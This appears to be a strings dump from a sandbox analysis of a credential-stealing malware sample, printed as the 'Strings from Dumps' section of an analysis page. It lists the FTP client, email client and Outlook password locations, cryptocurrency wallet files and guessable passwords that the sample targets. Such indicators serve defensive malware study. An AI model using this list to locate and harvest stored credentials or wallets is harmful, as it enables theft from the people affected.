Software\MAS-Soft\FTPInfo\Setup

\FTPInfo

ServerList.xml

ftpsite.ini

FTPList.db

\MapleStudio\ChromePlus

Software\Nico Mak Computing\WinZip\FTP

My FTP

project.ini

{74FF1730-B1F2-4D88-926B-1568FAE61DB7}

NovaFTP.db

\INSoftware\NovaFTP

.oeaccount

<_op3_password2>

<_mtp_password2>

\Microsoft\Windows Live Mail

Software\Microsoft\Windows Live Mail

\Microsoft\Windows Mail

Software\Microsoft\Windows Mail

Mailbox.ini

\PocoSystem.ini

accounts.ini

PopPort

PopPassword

SmtpServer

SmtpPort

SmtpAccount

SmtpPassword

account.cfg

account.cfn

Dir #%d

SMTP Email Address

SMTP Server

SMTP User Name

HTTP User

HTTP Server URL

HTTPMail User Name

HTTPMail Server

SMTP User

POP3 Port

SMTP Port

IMAP Port

POP3 Password2

IMAP Password2

NNTP Password2

HTTPMail Password2

SMTP Password2

POP3 Password

IMAP Password

NNTP Password

HTTP Password

SMTP Password

Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Microsoft Outlook Internet Settings

Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook

inetcomm server passwords

outlook account manager passwords

wallet.dat

electrum.dat

.wallet

Accounts.ini

\Maxprog\FTP Disk

passw0rd

11111111

123456789

1234567

12345678

windows

password1

password

monkey

1234567890

7777777

hockey

smokey

asshole

mickey

STATUS-IMPORT-OK

%d.bat

ShellExecuteA

shell32.dll

;3 #>6.&

'2, / 0&7!4-)1#

GetWindowsDirectoryA

RegOpenKeyExA

RegCloseKey

RegOpenKeyA

RegEnumKeyExA

RegCreateKeyA

InternetCrackUrlA

InternetCreateUrlA

.text

`.rdata

@.data

KERNEL32.DLL

shlwapi.dll

urlmon.dll

user32.dll

wininet.dll

wsock32.dll

2hXXp://VVV.facebook.com/

xthpt/:w/wwf.cabeoo.koc/m

Summary

Dynamic Analysis

Removals

Static Analysis

Network Activity

Map

Strings from Dumps